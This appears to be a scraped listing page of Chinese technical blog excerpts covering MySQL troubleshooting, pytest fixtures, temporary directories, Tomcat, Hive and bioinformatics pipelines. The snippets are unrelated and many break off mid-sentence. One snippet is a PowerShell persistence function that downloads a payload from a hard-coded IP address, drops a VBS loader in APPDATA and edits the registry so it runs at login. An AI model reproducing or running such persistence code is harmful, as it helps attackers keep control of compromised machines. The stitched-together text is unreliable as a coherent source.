作者：孙绪宗，新浪微博 DBA 团队工程师，主要负责 MySQL、PostgreSQL 等关系型数据库运维。
通过下面链接下载bootchart源码：bootchart-0.9.tar.bz2
在Pytest的测试框架中，也是内置了fixture的功能，这些内置的fixture在特定的测试场景下能够提高测试的效率，另外一个好处是它是内置的fixture，就不需要单独再写fixture了。就像Python语言中内置的函数一样，直接拿来调用实现想要实现的功能就可以了。下面具体来看这些内置的fixture它的含义以及在测试场景下的案例应用。
我在slelect一个数据量很大的merge表时，并同时将select结果集insert到另外一张表中，报了如下错误：
2、进入该文件夹，一次性创建文件夹/tmpdir1/tmpdir2/tmpdir3/tmpdir4/tmpdir5
在Linux系统中，有3种特殊权限，它们分别是Setuid(SUID)、Setgid（SGID） 和 Sticky Bit。
报错信息中不难看出来，是写入数据到/dev/shm这个目录的时候报错。报错信息也很明显，No space left on device；没有额外的空余磁盘空间。
在执行一个有1000万条记录的MySQL查询语句时，出现了上面的错误。百度折腾了很长时间，终于解决，特此记录。
1 安装cronolog 1[root@app_51 ~]$ yum install -y cronolog 2[root@app_51 ~]$ which cronolog 3/usr/sbin/cronolog 2 修改tomcat的catalina.sh 1 [ghl@app_51 ~]$ cd /home/ghl/tomcat/apache-tomcat-8.5.37/bin/ 2 [ghl@app_51 bin]$ cp catalina.sh catalina.sh.bak 3 #需要将第
固件的名称默认为定义时的函数名，如果不想使用默认，可以通过 name 选项指定名称：
不要尝试一次学会所有的命令， 有些命令是非常不常用的，临时遇到， 临时百度就可以
最近在做数据流转的自动化项目，经常要用到一个模块 -- os模块，而这个模块在自动化运维开发过程中，经常要用到，索性今天就对这个模块的相关内容做一个学习和分享。该模块也是自动化运维开发的必备技能，也是DBA的必备技能哦！学之受用无穷；
突然接到线上Zabbix告警信息，报MYSQL所在的主机/分区不足15%，内容如下：
作者：徐文梁，爱可生 DBA 成员，一个执着于技术的数据库工程师，主要负责数据库日常运维工作。擅长 MySQL，Redis 及其他常见数据库也有涉猎；喜欢垂钓，看书，看风景，结交新朋友。
解决问题固然重要，但是好奇心驱使我又看向了 系统错误编码 13（OS errno 13），很熟悉的一个编码。当时很快就想到了mysql的perror命令。所以，现在回顾下，也想来说说这个命令。
上面的8080就是tomcat的对外访问端口， 我们将他修改为其他端口，但是要避免与系统的端口号冲突，选用一个没有使用过的端口号，然后保存退出 如图将端口号修改为8099
使用sql*loader是大型项目中数据迁移的利器。如果是外部系统，其他数据库到oracle的数据迁移，使用文本式文件是最兼容的方式。 sqlldr的加载效率是很高的，同时在oracle 10g以后推出的oracle_loader效率也不容小视。 sqlldr提供了额外的功能来生成external_table的创建和insert脚本,不过control file是关键，今天尝试的时候就出现了一些问题。 > sqlldr n1/n1 control=NAME_DATA_sqlldr.ctl externa
在upload上传图片时发现无法上传成功，通过官方资料发现TMPDIR目录未指定。
Ps：折腾了很久，网上很多的步骤都是错的或者已经不适合最新版本的jmeter了，现在将折腾的结果记录下来。
最近一段时间准备写一篇《自动化测试框架一键动态切换测试环境》的实践总结，但由于要涉及到pytest fixture相关知识，遂决定先写一篇pytest fixture的基础介绍。
类似于http框架的middleware，我们希望在k8s的每个用户操作之前，之后在切面上做一些权限校验或者数据的修改，webhook是一个不错的选择。它挂在apiserver的准入链上，分为两种：验证性质的准入 Webhook （Validating Admission Webhook） 和 修改性质的准入 Webhook （Mutating Admission Webhook）。实现一个webhook，分为两步：1，起一个webhook server，2把webhook资源挂载到apiserver的链路上。
查询语句：SELECT table_schema AS "Database", ROUND(SUM(data_length + index_length + data_free) / 1024 / 1024, 2) AS "Size (MB)" FROM information_schema.TABLES GROUP BY table_schema;
详情请参考 资料（环境） 中《01_开启电脑虚拟化》，《02_安装虚拟机软件》word文档!
首先，我们应该知道，对于http POST请求来说，它需要使用这个临时目录来存储post数据。 其次，因为该目录是挂在到/tmp目录下的临时文件，那么对于一些OS系统，像centOS将经常删除这个临时目录，所有导致该目录不存在了
备份 首先，进入数据库并找出数据文件存放目录： mysql> show variables like '\%dir\%';+-----------------------------------------+----------------------------+| Variable_name | Value |+-----------------------------------------+-------
#> #使用Unicorn生成已编码的powershell命令。修改注册表,当用户登录时执行payload function Add-Persistence() { #payload的路径 $payloadurl = "http://192.168.125.106:8000/ghu98hjbs7jhj2" #保存维权马的路径 $tmpdir = $env:APPDATA; #vbs路径 $payloadvbsloaderpath = "$tmpdir\_log.vbs" #下载payloa
但是走到了 SplitNCigarReads 才发现，这个命令当初学的太久了，忘记各个参数啥意思了，就想搜索看看如何转换。
备份 首先，进入数据库并找出数据文件存放目录： mysql> show variables like '\%dir\%';+-----------------------------------------+----------------------------+| Variable_name | Value |+-----------------------------------------+--------
Android系统的编译工作始终是一件基础性工作，但是随着Android版本的不断升级、Ubuntu的升级、JDK版本的升级等等、以及各种第三方依赖库、不同的系统配置不同的人编译会有不同的问题，同一个人在不同的时间编译也可能会遇到问题。AndroidO版本推出不到一年，据说目前只有百分之一的手机在用，这不，AndroidP版本马上就要出来了！
我自己一直在寻求可以将不同的工作流串接的方式。之前尝试了nextflow，但发现语法让我头疼。无奈发现了基于python 框架的snakemake，如释重负，立马学一下。
Exception in thread "Timer-1" java.lang.OutOfMemoryError: PermGen space
1、配置文件参数my.cnf tmp_table_size=64M max_heap_table_size=64M tmpdir = /data/mysql/tmp 2、优化Tips： 如果Created_tmp_disk_tables/ Created_tmp_tables应该小于20%，如果比值较高，就需要适当调高tmp_table_size或者max_heap_table_size的值，让Mysql在内存中完成临时表的操作，减少使用硬盘对性能和响应时长的影响。 在调高tmp_table_size或者m
这个一个肿瘤外显子项目的文章发表并且公布的公共数据，我这里给出全套分析流程代码。只需要你肯实践，就可以运行成功。 PS:有些后起之秀自己运营公众号或者博客喜欢批评我们这些老人，一味的堆砌代码不给解释，恶意揣测我们是因为不懂代码的原理。我表示很无语，我写了3000多篇教程，要求我一篇篇都重复提到基础知识，我真的做不到。比如下面的流程，包括软件的用法，软件安装，注释数据库的下载，我博客都说过好几次了，直播我的基因组系列也详细解读过，我告诉你去哪里学，你却不珍惜，不当回事，呵呵。 文章解读 paper；https
在上一篇文章中，我简单的介绍了基于区块开发的总体思路和配套工具。接下来我会用 2 篇文章来分别介绍命令行工具和VSCode插件的具体实现细节。
Mysql占用CPU过高的时候，该从哪些方面下手进行优化？ 占用CPU过高，可以做如下考虑： 1）一般来讲，排除高并发的因素，还是要找到导致你CPU过高的哪几条在执行的SQL，show processlist语句，查找负荷最重的SQL语句，优化该SQL，比如适当建立某字段的索引； 2）打开慢查询日志，将那些执行时间过长且占用资源过多的SQL拿来进行explain分析，导致CPU过高，多数是GroupBy、OrderBy排序问题所导致，然后慢慢进行优化改进。比如优化insert语句、优化group by语句、
我有一个数据表，记录一个QQ号加好友的活跃天数、加好友次数、加好友的toUin数等信息。数据表的建表语句如下：
对每个人而言，真正的职责只有一个：找到自我。然后在心中坚守其一生，全心全意，永不停息。所有其它的路都是不完整的，是人的逃避方式，是对大众理想的懦弱回归，是随波逐流，是对内心的恐惧 ——赫尔曼·黑塞《德米安》
虽然云上的数据库已经有了高可用的报障功能了，但是对于某些业务需要更加灵活的数据处理以及其他需求外，需要搭建一个线下的从库来实现，这里实际上腾讯云也给出了一份maridb自建从库的文档，大家也可以按照这里去配置
（需要安装dm的光驱文件dm8_20200907_x86_rh6_64_ent_8.1.1.126.iso）
cronolog 是一个简单的过滤程序，读取日志文件条目从标准输入和输出的每个条目并写入指定的日志文件的文件名模板和当前的日期和时间。当扩展文件名的变化，目前的文件是关闭，新开辟的。cronolog 旨在和一个Web服务器一起使用，如Apache、tomcat，分割访问日志为每天或每月的日志。
在Hive On Spark的模式下，无论是通过Beeline还是hive CLI访问Hive，使用Spark引擎执行SQL语句时，都会在/tmp目录下生成一个spark_submit.*.properties文件。Hive CLI方式会在当前节点/tmp目录生成，使用Beeline方式则会在HiveServer2所在节点的/tmp目录下生成。
Linux 使用 /tmp 目录来存放不需要永久保留的文件。使用 mktemp 可以在 /tmp 目录下创建一个 tmp. 开头的后接十个随机字符的临时文件或目录。只有创建者可以访问，其他人不可访问（除了 root）。
有一些库，之所以好用，是对一些库做了更高级的封闭，你装了这个库，就会附带装了 n 多依赖库，就前一篇文章介绍的 streamlit 来说，依赖包就达 90 几个之多？
上传安装包 apache-hive-2.3.4-bin.tar.gz 解压 tar -xzvf apache-hive-2.3.4-bin.tar.gz -C /hd/ 重命名 ln -s apache-hive-2.3.4-bin hive 修改环境变量 vim /etc/profile export HIVE_HOME=/hd/hive export PATH=$PATH:$HIVE_HOME/bin 环境变量起效果 source /etc/profile 修改配置文件 拷贝驱动mysql-conn
mktemp ????? 创建临时文件或者目录，这样的创建方式是安全的。此命令的适用范围：RedHat、RHEL、Ubuntu、CentOS、SUSE、openSUSE、Fedora。 1、语法 ??
创建临时文件或者目录，这样的创建方式是安全的。此命令的适用范围：RedHat、RHEL、Ubuntu、CentOS、SUSE、openSUSE、Fedora。
一般来说，软件运行过程中一般会在指定位置生成临时文件，这些资源不要轻易删除，可能是过程文件。下面介绍一个非常有用的临时文件生成模块，巧妙运用，让你的代码轻松无痕运行。
0定义变量 source activate wes #GATK=~/biosoft/gatk/gatk-4.1.2.0/gatk ref=/mnt/f/kelly/bioTree/server/wesproject/hg38/Homo_sapiens_assembly38.fasta snp=/mnt/f/kelly/bioTree/server/wesproject/hg38/dbsnp_146.hg38.vcf.gz indel=/mnt/f/kelly/bioTree/server/wesprojec
个人博客：https://suveng.github.io/blog/
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